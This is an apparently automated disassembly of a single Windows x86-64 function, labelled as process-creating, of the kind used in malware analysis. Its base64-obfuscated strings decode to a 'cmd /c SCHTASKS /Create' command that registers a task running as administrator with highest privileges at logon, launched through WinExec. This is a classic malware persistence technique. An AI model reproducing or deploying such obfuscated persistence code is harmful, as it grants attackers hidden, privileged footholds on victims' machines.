Function at 0x14000b540
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x120]
sub rsp, 0x220
movaps xmmword [rsp + 0x210], xmm6
mov rax, qword [0x1400b1100]
xor rax, rsp
mov qword [rbp + 0x100], rax
mov rbx, rdx
mov rdi, rcx
xor r15d, r15d
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x30], xmm1
mov r8d, 0x30
lea rdx, str.IC9STCBISUdIRVNUICAvU0MgT05MT0dPTiAvRiAIE5VTA
lea rcx, [rbp + 0x20]
call fcn.140007470
nop
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0xc0]
call fcn.14000f7c0
mov r14, rax
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x10], xmm1
mov r8d, 0x20
lea rdx, str.IC9SVSBhZG1pbmlzdHJhdG9yIC9UTiA
lea rcx, [rbp]
call fcn.140007470
nop
lea rdx, [rbp]
lea rcx, [rbp + 0xa0]
call fcn.14000f7c0
mov rsi, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x10], xmm1
mov r8d, 0x28
lea rdx, str.Y21kIC9jIFNDSFRBU0tTIC9DcmVhdGUgL1RSIA
lea rcx, [rbp - 0x20]
call fcn.140007470
nop
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x80]
call fcn.14000f7c0
mov rcx, rax
mov rdx, qword [rax + 0x10]
mov r8, qword [rax + 0x18]
mov rax, r8
sub rax, rdx
cmp rax, 4
jb 0x14000b65e
lea rax, [rdx + 4]
mov qword [rcx + 0x10], rax
mov rax, rcx
cmp r8, 0xf
jbe 0x14000b650
mov rax, qword [rcx]
mov dword [rax + rdx], 0x22222222
mov byte [rax + rdx + 4], 0
jmp 0x14000b681
mov qword [rsp + 0x20], 4
lea r9, [0x1400760f4]
movzx r8d, byte [rsp + 0x30]
mov edx, 4
call fcn.140008000
mov rcx, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x38], xmm1
movups xmm0, xmmword [rcx]
movups xmmword [rbp - 0x48], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rbp - 0x38], xmm1
mov qword [rcx + 0x10], r15
mov qword [rcx + 0x18], 0xf
mov byte [rcx], 0
mov r8, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0xf
jbe 0x14000b6bc
mov rbx, qword [rbx]
mov rdx, rbx
lea rcx, [rbp - 0x48]
call fcn.140005b00
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x68], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x68], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x70]
mov rax, rdx
sub rax, rcx
cmp rax, 4
jb 0x14000b73a
lea rax, [rcx + 4]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x58]
cmp rdx, 0xf
cmova rax, qword [rsp + 0x58]
mov dword [rax + rcx], 0x22222222
mov byte [rax + rcx + 4], 0
lea rax, [rsp + 0x58]
jmp 0x14000b75f
mov qword [rsp + 0x20], 4
lea r9, [0x1400760f4]
movzx r8d, byte [rsp + 0x30]
mov edx, 4
lea rcx, [rsp + 0x58]
call fcn.140008000
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x70], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r9, rsi
lea r8, [rbp + 0x60]
lea rcx, [rsp + 0x78]
call fcn.14000ac30
nop
mov rcx, qword [rbp - 0x78]
mov rdx, qword [rbp - 0x70]
mov rax, rdx
sub rax, rcx
cmp rax, 1
jb 0x14000b7c7
lea rax, [rcx + 1]
mov qword [rbp - 0x78], rax
lea rax, [rsp + 0x78]
cmp rdx, 0xf
cmova rax, qword [rsp + 0x78]
mov word [rax + rcx], 0x22
lea rax, [rsp + 0x78]
jmp 0x14000b7ec
mov qword [rsp + 0x20], 1
lea r9, [0x140076094]
movzx r8d, byte [rsp + 0x30]
mov edx, 1
lea rcx, [rsp + 0x78]
call fcn.140008000
xorps xmm0, xmm0
movups xmmword [rbp - 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x58], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x58], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8, qword [rdi + 0x10]
cmp qword [rdi + 0x18], 0xf
jbe 0x14000b827
mov rdi, qword [rdi]
mov rdx, rdi
lea rcx, [rbp - 0x68]
call fcn.140005b00
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x48], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x38], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x48], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rcx, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x50]
mov rax, rdx
sub rax, rcx
cmp rax, 1
jb 0x14000b89f
lea rax, [rcx + 1]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x38]
cmp rdx, 0xf
cmova rax, qword [rsp + 0x38]
mov word [rax + rcx], 0x22
lea rax, [rsp + 0x38]
jmp 0x14000b8c4
mov qword [rsp + 0x20], 1
lea r9, [0x140076094]
movzx r8d, byte [rsp + 0x30]
mov edx, 1
lea rcx, [rsp + 0x38]
call fcn.140008000
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x50], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r9, r14
lea r8, [rbp + 0x40]
lea rcx, [rbp + 0xe0]
call fcn.14000ac30
nop
mov rdx, qword [rbp + 0x58]
cmp rdx, 0xf
jbe 0x14000b932
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b92c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000bd07
call fcn.14003a900
nop
mov rdx, qword [rsp + 0x50]
cmp rdx, 0xf
jbe 0x14000b96f
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b96a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000bd0d
call fcn.14003a900
movdqa xmm6, xmmword [0x1400a5420]
movdqu xmmword [rsp + 0x48], xmm6
mov byte [rsp + 0x38], 0
mov rdx, qword [rbp - 0x50]
cmp rdx, 0xf
jbe 0x14000b9bd
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b9b8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000bd13
call fcn.14003a900
movdqu xmmword [rbp - 0x58], xmm6
mov byte [rbp - 0x68], 0
mov rdx, qword [rbp - 0x70]
cmp rdx, 0xf
jbe 0x14000ba02
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b9fd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000bd19
call fcn.14003a900
movdqu xmmword [rbp - 0x78], xmm6
mov byte [rsp + 0x78], 0
mov rdx, qword [rbp + 0x78]
cmp rdx, 0xf
jbe 0x14000ba48
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ba42
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000bd1f
call fcn.14003a900
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x14000ba85
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ba80
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000bd25
call fcn.14003a900
movdqu xmmword [rsp + 0x68], xmm6
mov byte [rsp + 0x58], 0
mov rdx, qword [rbp - 0x30]
cmp rdx, 0xf
jbe 0x14000bacb
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000bac6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000bd2b
call fcn.14003a900
movdqu xmmword [rbp - 0x38], xmm6
mov byte [rbp - 0x48], 0
mov rdx, qword [rbp + 0x98]
cmp rdx, 0xf
jbe 0x14000bb15
inc rdx
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000bb10
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000bd31
call fcn.14003a900
movdqu xmmword [rbp + 0x90], xmm6
mov byte [rbp + 0x80], 0
mov rdx, qword [rbp - 8]
cmp rdx, 0xf
jbe 0x14000bb60
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000bb5a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000bd37
call fcn.14003a900
nop
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0xf
jbe 0x14000bba1
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000bb9c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000bd3d
call fcn.14003a900
movdqu xmmword [rbp + 0xb0], xmm6
mov byte [rbp + 0xa0], 0
mov rdx, qword [rbp + 0x18]
cmp rdx, 0xf
jbe 0x14000bbec
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000bbe6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000bd43
call fcn.14003a900
nop
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0xf
jbe 0x14000bc2d
inc rdx
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000bc28
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000bd49
call fcn.14003a900
movdqu xmmword [rbp + 0xd0], xmm6
mov byte [rbp + 0xc0], 0
mov rdx, qword [rbp + 0x38]
cmp rdx, 0xf
jbe 0x14000bc77
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000bc72
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000bd4f
call fcn.14003a900
lea rcx, [rbp + 0xe0]
cmp qword [rbp + 0xf8], 0xf
cmova rcx, qword [rbp + 0xe0]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WinExec]
mov rdx, qword [rbp + 0xf8]
cmp rdx, 0xf
jbe 0x14000bcd3
inc rdx
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000bcce
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000bd01
call fcn.14003a900
mov rcx, qword [rbp + 0x100]
xor rcx, rsp
call fcn.14003a8e0
mov rbx, qword [rsp + 0x260]
movaps xmm6, xmmword [rsp + 0x210]
add rsp, 0x220
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
call fcn.140043e18
nop
call fcn.140043e18
nop
call fcn.140043e18
nop
call fcn.140043e18
nop
call fcn.140043e18
nop
call fcn.140043e18
nop
call fcn.140043e18
nop
call fcn.140043e18
nop
call fcn.140043e18
nop
call fcn.140043e18
nop
call fcn.140043e18
nop
call fcn.140043e18
nop
call fcn.140043e18
nop
call fcn.140043e18
int3